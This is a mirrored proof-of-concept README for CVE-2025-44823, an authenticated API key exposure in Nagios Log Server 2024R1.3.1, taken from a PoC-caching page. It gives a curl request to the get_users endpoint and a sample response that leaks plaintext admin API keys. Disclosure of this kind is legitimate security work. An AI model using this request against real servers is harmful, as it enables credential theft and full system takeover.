CVE-2025-44823 PoC — Nagios Log Server 安全漏洞

Source

https://github.com/skraft9/CVE-2025-44823

Associated Vulnerability

Title:Nagios Log Server 安全漏洞 (CVE-2025-44823)
Description:Nagios Log Server是美国Nagios公司的一套集中式日志管理、监控和分析软件。 Nagios Log Server 2024R1.3.2之前版本存在安全漏洞，该漏洞源于允许经过身份验证的用户通过API调用检索明文管理API密钥。

Readme

# Authenticated API Key Exposure in Nagios Log Server 2024R1.3.1

[▶️ PoC Demo](https://youtu.be/amYMuK3YSM8?si=QrMPhQP-gcA2UpoH)

#### CVE ID: [CVE-2025-44823](https://nvd.nist.gov/vuln/detail/CVE-2025-44823)
#### Date: 2025-04-02
#### Authors: [Alex Tisdale](https://www.linkedin.com/in/alex-tisdale-037023187/), Seth Kraft
#### Vendor Homepage: https://www.nagios.com/
#### Vendor Changelog: https://www.nagios.com/changelog/#log-server
#### Software Link: https://assets.nagios.com/downloads/nagios-log-server/versions.php
#### Version: 2024R1.3.1 and below
#### Tested On: Nagios Log Server 2024R1.3.1 (default configuration, Ubuntu 20.04)
#### CWE: CWE-497
#### CVSS: 9.8 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`

## Authorization
**For research and authorized testing only.** Please do not use against systems without permission.

## Description
An API-level vulnerability in Nagios Log Server 2024R1.3.1 allows any user with a valid API token to retrieve a full list of user accounts along with their plaintext API keys, including administrator credentials. This flaw enables user enumeration, privilege escalation, and full system compromise via unauthorized use of exposed tokens.

## PoC

### Step 1: Access the vulnerable endpoint

```bash
curl -X GET "http://<target-ip>/nagioslogserver/index.php/api/system/get_users?token=<valid_token>"
```

## Sample Response

```json
[
  {
    "name": "devadmin",
    "username": "devadmin",
    "email": "test@example.com",
    "apikey": "dcaa1693a79d651ebc29d45c879b3fbbc730d2de",
    "auth_type": "admin",
    ...
  }
]
```

File Snapshot


 [4.0K]  /data/pocs/ce84b89995ff852f5c11e140d9242c957bfe46c2
└── [1.6K]  README.md

1 directory, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!